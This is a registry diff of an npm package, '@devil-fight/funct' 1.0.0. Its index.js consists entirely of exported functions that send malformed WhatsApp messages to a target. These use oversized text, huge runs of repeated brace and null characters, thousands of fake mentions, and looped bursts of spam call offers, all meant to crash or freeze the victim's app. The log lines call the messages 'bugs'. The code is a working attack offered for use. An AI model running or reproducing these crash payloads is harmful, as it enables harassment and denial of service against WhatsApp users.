@devil-fight/funct 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +498 -0
- package/package.json +7 -0
package/index.js
ADDED
|
@@ -0,0 +1,498 @@
|
|
|
1
|
+
async function HardCore(vinzzoffc, target) {
|
|
2
|
+
let msg = {
|
|
3
|
+
ephemeralMessage: {
|
|
4
|
+
message: {
|
|
5
|
+
interactiveMessage: {
|
|
6
|
+
header: { title: "?".repeat(8000) },
|
|
7
|
+
body: { text: "?".repeat(8000) },
|
|
8
|
+
contextInfo: {
|
|
9
|
+
stanzaId: "Sejaya_id",
|
|
10
|
+
isForwarding: true,
|
|
11
|
+
forwardingScore: 999,
|
|
12
|
+
participant: target,
|
|
13
|
+
remoteJid: "status@broadcast",
|
|
14
|
+
mentionedJid: ["13333335502@s.whatsapp.net", ...Array.from({ length: 2000 }, () => "1" + Math.floor(Math.random() * 5000000) + "13333335502@s.whatsapp.net")],
|
|
15
|
+
quotedMessage: {
|
|
16
|
+
paymentInviteMessage: {
|
|
17
|
+
serviceType: 3,
|
|
18
|
+
expiryTimeStamp: Date.now() + 18144000000,
|
|
19
|
+
},
|
|
20
|
+
},
|
|
21
|
+
forwardedAiBotMessageInfo: {
|
|
22
|
+
botName: "BOKEP SIMULATOR",
|
|
23
|
+
botJid: String(Math.floor(Math.random() * 99999)),
|
|
24
|
+
creatorName: "https://t.me/LeamorZunn",
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
await vinzzoffc.relayMessage(target, msg, {
|
|
33
|
+
participant: { jid: target }
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
console.log("Hard Invisible Delay");
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
async function CrashVsx(vinzzoffc, target) {
|
|
40
|
+
let start = Date.now();
|
|
41
|
+
while (Date.now() - start < 300000) {
|
|
42
|
+
try {
|
|
43
|
+
await vinzzoffc.relayMessage(target, {
|
|
44
|
+
groupStatusMessageV2: {
|
|
45
|
+
message: {
|
|
46
|
+
extendedTextMessage: {
|
|
47
|
+
paymentLinkMetadata: {
|
|
48
|
+
provider: { paramsJson: "{".repeat(70000) },
|
|
49
|
+
header: { headerType: 1 },
|
|
50
|
+
button: { displayText: "IM AM VSX" }
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
}, { messageId: vinzzoffc.generateMessageTag() });
|
|
56
|
+
await new Promise(r => setTimeout(r, 1000));
|
|
57
|
+
} catch (e) {}
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
async function bak2(vinzzoffc, target) {
|
|
62
|
+
await vinzzoffc.relayMessage(
|
|
63
|
+
target,
|
|
64
|
+
{
|
|
65
|
+
ephemeralMessage: {
|
|
66
|
+
message: {
|
|
67
|
+
viewOnceMessage: {
|
|
68
|
+
message: {
|
|
69
|
+
interactiveMessage: {
|
|
70
|
+
body: {
|
|
71
|
+
text:
|
|
72
|
+
"ijin mintol"+
|
|
73
|
+
"?".repeat(90000),
|
|
74
|
+
},
|
|
75
|
+
carouselMessage: {
|
|
76
|
+
cards: [
|
|
77
|
+
{
|
|
78
|
+
header: {
|
|
79
|
+
hasMediaAttachment: true,
|
|
80
|
+
...(await prepareWAMessageMedia(
|
|
81
|
+
{
|
|
82
|
+
image: {
|
|
83
|
+
url: "https://files.catbox.moe/m33kq5.jpg",
|
|
84
|
+
},
|
|
85
|
+
},
|
|
86
|
+
{ upload: vinzzoffc.waUploadToServer }
|
|
87
|
+
)),
|
|
88
|
+
},
|
|
89
|
+
body: {
|
|
90
|
+
text: "bang ijin puskon" + "?".repeat(90000),
|
|
91
|
+
},
|
|
92
|
+
nativeFlowMessage: {
|
|
93
|
+
buttons: [
|
|
94
|
+
{
|
|
95
|
+
name: "cta_url",
|
|
96
|
+
buttonParamsJson: JSON.stringify({
|
|
97
|
+
display_text: "@6285789034010",
|
|
98
|
+
url: "https://t.me/YukinaDevils",
|
|
99
|
+
merchant_url: "https://t.me/YukinaDevils",
|
|
100
|
+
}),
|
|
101
|
+
},
|
|
102
|
+
{
|
|
103
|
+
name: "single_select",
|
|
104
|
+
buttonParamsJson: JSON.stringify({
|
|
105
|
+
title: "@6285789034010",
|
|
106
|
+
sections: [
|
|
107
|
+
{
|
|
108
|
+
title: "@6285789034010",
|
|
109
|
+
rows: [],
|
|
110
|
+
},
|
|
111
|
+
],
|
|
112
|
+
}),
|
|
113
|
+
},
|
|
114
|
+
{
|
|
115
|
+
name: "quick_reply",
|
|
116
|
+
buttonParamsJson: JSON.stringify({
|
|
117
|
+
display_text: "DIEE!!!",
|
|
118
|
+
title: "CRASH!",
|
|
119
|
+
id: ".crasher",
|
|
120
|
+
}),
|
|
121
|
+
},
|
|
122
|
+
],
|
|
123
|
+
},
|
|
124
|
+
},
|
|
125
|
+
],
|
|
126
|
+
messageVersion: 1,
|
|
127
|
+
},
|
|
128
|
+
},
|
|
129
|
+
},
|
|
130
|
+
},
|
|
131
|
+
},
|
|
132
|
+
},
|
|
133
|
+
},
|
|
134
|
+
{
|
|
135
|
+
participant: { jid: nomor },
|
|
136
|
+
messageParamsJson: "})".repeat(10000)
|
|
137
|
+
}
|
|
138
|
+
);
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
async function BlankNoClick(vinzzoffc, target) {
|
|
142
|
+
try {
|
|
143
|
+
for (let i = 0; i < 10; i++) {
|
|
144
|
+
const Msg = generateWAMessageFromContent(
|
|
145
|
+
target,
|
|
146
|
+
proto.Message.fromObject({
|
|
147
|
+
interactiveMessage: {
|
|
148
|
+
header: {
|
|
149
|
+
subtitle: "眣堭撓",
|
|
150
|
+
imageMessage: {
|
|
151
|
+
url: "https://mmg.whatsapp.net/o1/v/t24/f2/m232/AQN3a5sxmYjKKiDCEia7o9Zrg7LsYhjYZ36N28icbWw4sILKuf3ly85yuuQx5aH5NGMTqM_YOT7bYt77BJZkbMEwovlDNyxyQ3RNmeoebw?ccb=9-4&oh=01_Q5Aa2wGoHq3M24ZbF0TDnEhYSG2jwm21vorcv-ZQ4_fKDWEhyQ&oe=692EDC9C&_nc_sid=e6ed6c&mms3=true",
|
|
152
|
+
mimetype: "image/jpeg",
|
|
153
|
+
caption: " 眣堭撓" + "?".repeat(5000) + "?".repeat(5000),
|
|
154
|
+
fileSha256: "st3b6ca+9gVb+qgoTd66spG6OV63M/b4/DEM2vcjWDc=",
|
|
155
|
+
fileLength: "71746",
|
|
156
|
+
height: 916,
|
|
157
|
+
width: 720,
|
|
158
|
+
mediaKey: "n5z/W8ANmTT0KmZKPyk13uTpm3eRB4czy0p/orz6LOw=",
|
|
159
|
+
fileEncSha256: "CxcswDicTjs/UHDH1V5DWZh25jk1l0zMLrcTEJyuYMM=",
|
|
160
|
+
directPath: "/o1/v/t24/f2/m232/AQN3a5sxmYjKKiDCEia7o9Zrg7LsYhjYZ36N28icbWw4sILKuf3ly85yuuQx5aH5NGMTqM_YOT7bYt77BJZkbMEwovlDNyxyQ3RNmeoebw?ccb=9-4&oh=01_Q5Aa2wGoHq3M24ZbF0TDnEhYSG2jwm21vorcv-ZQ4_fKDWEhyQ&oe=692EDC9C&_nc_sid=e6ed6c&_nc_hot=1762092861",
|
|
161
|
+
mediaKeyTimestamp: "1762085432",
|
|
162
|
+
jpegThumbnail: Buffer.from(
|
|
163
|
+
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABsbGxscGx4hIR4qLSgtKj04MzM4PV1CR0JHQl2NWGdYWGdYjX2Xe3N7l33gsJycsOD/2c7Z//////////////8BGxsbGxwbHiEhHiotKC0qPTgzMzg9XUJHQkdCXY1YZ1hYZ1iNfZd7c3uXfeCwnJyw4P/Zztn////////////////CABEIAEgAOAMBIgACEQEDEQH/xAAwAAACAwEBAAAAAAAAAAAAAAAABAECAwUGAQADAQEAAAAAAAAAAAAAAAAAAQMCBP/aAAwDAQACEAMQAAAA6iK052qv1Jy+R0dVGejPNFJuwypOjdJZNqpvYJpEFIN600nvWlx6lZlU0ialOdtnK86sYN5hktvdnIHRYvcDTEgy2QAsAl//xAAkEAACAgICAgICAwAAAAAAAAABAgADETEEIRIiEBM0YQUyUf/aAAgBAQABPwBuZSh3L+e79VR0dvZjmEfqey9zjfyVlXT9iUciu9coYqgljAF3APKFVA/rAldg7XEsrrBIAlNrce9COgYoKMUh2QJWMACW0ee4qGsAQ1eRIyRLVxdTnWZy8B8jcrBcxHxA4Ilrd/oRyMhhLz9lqINkwkuCTsysYhUKhMUnEwuyRLcf6JR+bXEEB8GhYOpEVfXBn1gDIWW6PrOH+YrHUURDoERqEI6GIQ1Z71PsXG5aylTPAhIPhWyBLATDxwOzFrTHaiXrFx8AwHuMQYTiXEET/8QAGhEAAgMBAQAAAAAAAAAAAAAAAAECICEQEf/aAAgBAgEBPwBts8FgtHj7GkaOv//EABsRAAMAAwEBAAAAAAAAAAAAAAABEQIQICEx/9oACAEDAQE/AIQeOrUhDSMvr0jycUnP/9k=",
|
|
164
|
+
"base64"
|
|
165
|
+
),
|
|
166
|
+
},
|
|
167
|
+
hasMediaAttachment: true
|
|
168
|
+
},
|
|
169
|
+
body: {
|
|
170
|
+
text: "眣堭撓" + "?".repeat(3000) + "?".repeat(3000)
|
|
171
|
+
},
|
|
172
|
+
footer: {
|
|
173
|
+
text: "眣堭撓"
|
|
174
|
+
},
|
|
175
|
+
nativeFlowMessage: {
|
|
176
|
+
messageParamsJson: "{".repeat(5000),
|
|
177
|
+
buttons: [
|
|
178
|
+
{
|
|
179
|
+
name: "quick_reply",
|
|
180
|
+
buttonParamsJson: JSON.stringify({
|
|
181
|
+
display_text: "??".repeat(10000),
|
|
182
|
+
id: null
|
|
183
|
+
})
|
|
184
|
+
},
|
|
185
|
+
{
|
|
186
|
+
name: "quick_reply",
|
|
187
|
+
buttonParamsJson: JSON.stringify({
|
|
188
|
+
display_text: "??".repeat(10000),
|
|
189
|
+
id: null
|
|
190
|
+
})
|
|
191
|
+
},
|
|
192
|
+
{
|
|
193
|
+
name: "cta_url",
|
|
194
|
+
buttonParamsJson: JSON.stringify({
|
|
195
|
+
display_text: "??".repeat(10000),
|
|
196
|
+
url: "https://" + "??".repeat(10000) + ".com"
|
|
197
|
+
})
|
|
198
|
+
},
|
|
199
|
+
{
|
|
200
|
+
name: "cta_copy",
|
|
201
|
+
buttonParamsJson: JSON.stringify({
|
|
202
|
+
display_text: "??".repeat(10000),
|
|
203
|
+
copy_code: "??".repeat(10000)
|
|
204
|
+
})
|
|
205
|
+
},
|
|
206
|
+
{
|
|
207
|
+
name: "galaxy_message",
|
|
208
|
+
buttonParamsJson: JSON.stringify({
|
|
209
|
+
icon: "PROMOTION",
|
|
210
|
+
flow_cta: "眣堭撓",
|
|
211
|
+
flow_message_version: "3"
|
|
212
|
+
})
|
|
213
|
+
}
|
|
214
|
+
]
|
|
215
|
+
},
|
|
216
|
+
contextInfo: {
|
|
217
|
+
mentionedJid: Array.from(
|
|
218
|
+
{ length: 1000 },
|
|
219
|
+
(_, p) => `1313555000${p + 1}@s.whatsapp.net`
|
|
220
|
+
),
|
|
221
|
+
isForwarded: true,
|
|
222
|
+
forwardingScore: 999,
|
|
223
|
+
externalAdReply: {
|
|
224
|
+
title: "眣堭撓",
|
|
225
|
+
body: "眣堭撓",
|
|
226
|
+
thumbnailUrl: "https://files.catbox.moe/4lahae.jpg",
|
|
227
|
+
sourceUrl: "https://t.me/Msg",
|
|
228
|
+
mediaType: 1,
|
|
229
|
+
showAdAttribution: true,
|
|
230
|
+
renderLargerThumbnail: true
|
|
231
|
+
}
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
}),
|
|
235
|
+
{ userJid: target }
|
|
236
|
+
)
|
|
237
|
+
|
|
238
|
+
await vinzzoffc.relayMessage(target, Msg.message, {
|
|
239
|
+
messageId: Msg.key.id,
|
|
240
|
+
})
|
|
241
|
+
|
|
242
|
+
console.log("DONE SEND BUG BY KEPOP")
|
|
243
|
+
await new Promise(r => setTimeout(r, 500))
|
|
244
|
+
}
|
|
245
|
+
} catch (err) {
|
|
246
|
+
console.error("EROR RARW:", err)
|
|
247
|
+
}
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
async function FriendVisi(vinzzoffc, target) {
|
|
251
|
+
let VoidTeam = "VISI NIH";
|
|
252
|
+
let MyTeam = "?".repeat(1500);
|
|
253
|
+
const PayCrash = {
|
|
254
|
+
requestPaymentMessage: {
|
|
255
|
+
currencyCodeIso4217: 'IDR',
|
|
256
|
+
requestFrom: target,
|
|
257
|
+
expiryTimestamp: Date.now() + 8000,
|
|
258
|
+
amount: {
|
|
259
|
+
value: 999999999,
|
|
260
|
+
offset: 100,
|
|
261
|
+
currencyCode: 'IDR'
|
|
262
|
+
},
|
|
263
|
+
contextInfo: {
|
|
264
|
+
externalAdReply: {
|
|
265
|
+
title: VoidTeam,
|
|
266
|
+
body: MyTeam,
|
|
267
|
+
mimetype: 'audio/mpeg',
|
|
268
|
+
caption: MyTeam,
|
|
269
|
+
showAdAttribution: true,
|
|
270
|
+
sourceUrl: 'https://t.me/Deniss_erorr',
|
|
271
|
+
thumbnailUrl: 'https://files.catbox.moe/87l7gz.jpeg'
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
};
|
|
276
|
+
|
|
277
|
+
await vinzzoffc.relayMessage(target, PayCrash, {
|
|
278
|
+
participant: { jid: target },
|
|
279
|
+
messageId: null,
|
|
280
|
+
userJid: target,
|
|
281
|
+
quoted: null
|
|
282
|
+
});
|
|
283
|
+
}
|
|
284
|
+
|
|
285
|
+
async function delaynih(vinzzoffc, target) {
|
|
286
|
+
let msg = generateWAMessageFromContent(target, {
|
|
287
|
+
interactiveResponseMessage: {
|
|
288
|
+
body: {
|
|
289
|
+
text: " | Rio4you-Exekusi",
|
|
290
|
+
format: "DEFAULT"
|
|
291
|
+
},
|
|
292
|
+
nativeFlowResponseMessage: {
|
|
293
|
+
name: "address_message",
|
|
294
|
+
paramsJson: `{\"values\":{\"in_pin_code\":\"999999\",\"building_name\":\"saosinx\",\"landmark_area\":\"X\",\"address\":\"Yd7\",\"tower_number\":\"Y7d\",\"city\":\"chindo\",\"name\":\"d7y\",\"phone_number\":\"999999999999\",\"house_number\":\"xxx\",\"floor_number\":\"xxx\",\"state\":\"X${"\u0000".repeat(900000)}\"}}`,
|
|
295
|
+
version: 3
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
}, { userJid:target });
|
|
299
|
+
|
|
300
|
+
await vinzzoffc.relayMessage(target, msg.message, {
|
|
301
|
+
participant: { jid:target },
|
|
302
|
+
messageId: msg.key.id
|
|
303
|
+
})
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
async function andronih(vinzzoffc, target) {
|
|
307
|
+
const {
|
|
308
|
+
encodeSignedDeviceIdentity,
|
|
309
|
+
jidEncode,
|
|
310
|
+
jidDecode,
|
|
311
|
+
encodeWAMessage,
|
|
312
|
+
patchMessageBeforeSending,
|
|
313
|
+
encodeNewsletterMessage
|
|
314
|
+
} = require("@devil-fight/baileys");
|
|
315
|
+
const crypto = require("crypto");
|
|
316
|
+
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
|
|
317
|
+
let devices = (
|
|
318
|
+
await vinzzoffc.getUSyncDevices([target], false, false)
|
|
319
|
+
).map(({ user, device }) => `${user}:${device || ''}@s.whatsapp.net`);
|
|
320
|
+
await vinzzoffc.assertSessions(devices);
|
|
321
|
+
let xnxx = () => {
|
|
322
|
+
let map = {};
|
|
323
|
+
return {
|
|
324
|
+
mutex(key, fn) {
|
|
325
|
+
map[key] ??= { task: Promise.resolve() };
|
|
326
|
+
map[key].task = (async prev => {
|
|
327
|
+
try { await prev; } catch {}
|
|
328
|
+
return fn();
|
|
329
|
+
})(map[key].task);
|
|
330
|
+
return map[key].task;
|
|
331
|
+
}
|
|
332
|
+
};
|
|
333
|
+
};
|
|
334
|
+
|
|
335
|
+
let memek = xnxx();
|
|
336
|
+
let bokep = buf => Buffer.concat([Buffer.from(buf), Buffer.alloc(8, 1)]);
|
|
337
|
+
let porno = vinzzoffc.createParticipantNodes.bind(vinzzoffc);
|
|
338
|
+
let yntkts = vinzzoffc.encodeWAMessage?.bind(vinzzoffc);
|
|
339
|
+
|
|
340
|
+
vinzzoffc.createParticipantNodes = async (recipientJids, message, extraAttrs, dsmMessage) => {
|
|
341
|
+
if (!recipientJids.length) return { nodes: [], shouldIncludeDeviceIdentity: false };
|
|
342
|
+
|
|
343
|
+
let patched = await (vinzzoffc.patchMessageBeforeSending?.(message, recipientJids) ?? message);
|
|
344
|
+
|
|
345
|
+
let ywdh = Array.isArray(patched)
|
|
346
|
+
? patched
|
|
347
|
+
: recipientJids.map(jid => ({ recipientJid: jid, message: patched }));
|
|
348
|
+
|
|
349
|
+
let { id: meId, lid: meLid } = vinzzoffc.authState.creds.me;
|
|
350
|
+
let omak = meLid ? jidDecode(meLid)?.user : null;
|
|
351
|
+
let shouldIncludeDeviceIdentity = false;
|
|
352
|
+
let nodes = await Promise.all(
|
|
353
|
+
ywdh.map(async ({ recipientJid: jid, message: msg }) => {
|
|
354
|
+
let { user: targetUser } = jidDecode(jid);
|
|
355
|
+
let { user: ownPnUser } = jidDecode(meId);
|
|
356
|
+
|
|
357
|
+
let isOwnUser = targetUser === ownPnUser || targetUser === omak;
|
|
358
|
+
let y = jid === meId || jid === meLid;
|
|
359
|
+
|
|
360
|
+
if (dsmMessage && isOwnUser && !y) msg = dsmMessage;
|
|
361
|
+
|
|
362
|
+
let bytes = bokep(
|
|
363
|
+
yntkts ? yntkts(msg) : encodeWAMessage(msg)
|
|
364
|
+
);
|
|
365
|
+
return memek.mutex(jid, async () => {
|
|
366
|
+
let { type, ciphertext } = await vinzzoffc.signalRepository.encryptMessage({
|
|
367
|
+
jid,
|
|
368
|
+
data: bytes
|
|
369
|
+
});
|
|
370
|
+
if (type === "pkmsg") shouldIncludeDeviceIdentity = true;
|
|
371
|
+
|
|
372
|
+
return {
|
|
373
|
+
tag: "to",
|
|
374
|
+
attrs: { jid },
|
|
375
|
+
content: [{
|
|
376
|
+
tag: "enc",
|
|
377
|
+
attrs: { v: "2", type, ...extraAttrs },
|
|
378
|
+
content: ciphertext
|
|
379
|
+
}]
|
|
380
|
+
};
|
|
381
|
+
});
|
|
382
|
+
})
|
|
383
|
+
);
|
|
384
|
+
return {
|
|
385
|
+
nodes: nodes.filter(Boolean),
|
|
386
|
+
shouldIncludeDeviceIdentity
|
|
387
|
+
};
|
|
388
|
+
};
|
|
389
|
+
const startTime = Date.now();
|
|
390
|
+
const duration = 1 * 60 * 1000;
|
|
391
|
+
while (Date.now() - startTime < duration) {
|
|
392
|
+
const callId = crypto.randomBytes(16).toString("hex").slice(0, 64).toUpperCase();
|
|
393
|
+
let {
|
|
394
|
+
nodes: destinations,
|
|
395
|
+
shouldIncludeDeviceIdentity
|
|
396
|
+
} = await vinzzoffc.createParticipantNodes(
|
|
397
|
+
devices,
|
|
398
|
+
{ conversation: "y" },
|
|
399
|
+
{ count: "0" }
|
|
400
|
+
);
|
|
401
|
+
const callOffer = {
|
|
402
|
+
tag: "call",
|
|
403
|
+
attrs: {
|
|
404
|
+
to: target,
|
|
405
|
+
id: vinzzoffc.generateMessageTag(),
|
|
406
|
+
from: vinzzoffc.user.id
|
|
407
|
+
},
|
|
408
|
+
content: [{
|
|
409
|
+
tag: "offer",
|
|
410
|
+
attrs: {
|
|
411
|
+
"call-id": callId,
|
|
412
|
+
"call-creator": vinzzoffc.user.id
|
|
413
|
+
},
|
|
414
|
+
content: [
|
|
415
|
+
{ tag: "audio", attrs: { enc: "opus", rate: "16000" } },
|
|
416
|
+
{ tag: "audio", attrs: { enc: "opus", rate: "8000" } },
|
|
417
|
+
{ tag: "video", attrs: { orientation: "0", screen_width: "1920", screen_height: "1080", device_orientation: "0", enc: "vp8", dec: "vp8" } },
|
|
418
|
+
{ tag: "net", attrs: { medium: "3" } },
|
|
419
|
+
{ tag: "capability", attrs: { ver: "1" }, content: new Uint8Array([1, 5, 247, 9, 228, 250, 1]) },
|
|
420
|
+
{ tag: "encopt", attrs: { keygen: "2" } },
|
|
421
|
+
{ tag: "destination", attrs: {}, content: destinations },
|
|
422
|
+
...(shouldIncludeDeviceIdentity ? [{ tag: "device-identity", attrs: {}, content: encodeSignedDeviceIdentity(vinzzoffc.authState.creds.account, true) }] : [])
|
|
423
|
+
]
|
|
424
|
+
}]
|
|
425
|
+
};
|
|
426
|
+
|
|
427
|
+
await vinzzoffc.sendNode(callOffer);
|
|
428
|
+
await sleep(1000);
|
|
429
|
+
const callTerminate = {
|
|
430
|
+
tag: "call",
|
|
431
|
+
attrs: {
|
|
432
|
+
to: target,
|
|
433
|
+
id: vinzzoffc.generateMessageTag(),
|
|
434
|
+
from: vinzzoffc.user.id
|
|
435
|
+
},
|
|
436
|
+
content: [{
|
|
437
|
+
tag: "terminate",
|
|
438
|
+
attrs: {
|
|
439
|
+
"call-id": callId,
|
|
440
|
+
"reason": "REJECTED",
|
|
441
|
+
"call-creator": vinzzoffc.user.id
|
|
442
|
+
},
|
|
443
|
+
content: []
|
|
444
|
+
}]
|
|
445
|
+
};
|
|
446
|
+
|
|
447
|
+
await vinzzoffc.sendNode(callTerminate);
|
|
448
|
+
await sleep(1000);
|
|
449
|
+
}
|
|
450
|
+
console.log("Done");
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
async function delayy(vinzzoffc, target) {
|
|
454
|
+
await vinzzoffc.relayMessage(target, {
|
|
455
|
+
extendedTextMessage: {
|
|
456
|
+
text: null,
|
|
457
|
+
priceListMessage: {
|
|
458
|
+
title: "DAFTAR HARGA",
|
|
459
|
+
description: "List harga terbaru",
|
|
460
|
+
buttonText: "Lihat Harga",
|
|
461
|
+
currencyCode: "IDR",
|
|
462
|
+
priceAmount1000: 10000,
|
|
463
|
+
retailerId: "ID-001",
|
|
464
|
+
products: [
|
|
465
|
+
{
|
|
466
|
+
productId: "PROD-1",
|
|
467
|
+
name: "Panel 1GB",
|
|
468
|
+
priceAmount1000: 5000
|
|
469
|
+
},
|
|
470
|
+
{
|
|
471
|
+
productId: "PROD-2",
|
|
472
|
+
name: "Panel 2GB",
|
|
473
|
+
priceAmount1000: 10000
|
|
474
|
+
}
|
|
475
|
+
]
|
|
476
|
+
}
|
|
477
|
+
}
|
|
478
|
+
},
|
|
479
|
+
{
|
|
480
|
+
messageId: null,
|
|
481
|
+
participant: { jid: target }
|
|
482
|
+
}
|
|
483
|
+
);
|
|
484
|
+
|
|
485
|
+
console.log(chalk.red("Succes Send Bug Anomalies"));
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
// export semua function
|
|
489
|
+
module.exports = {
|
|
490
|
+
HardCore,
|
|
491
|
+
CrashVsx,
|
|
492
|
+
bak2,
|
|
493
|
+
BlankNoClick,
|
|
494
|
+
FriendVisi,
|
|
495
|
+
delaynih,
|
|
496
|
+
andronih,
|
|
497
|
+
delayy
|
|
498
|
+
}
|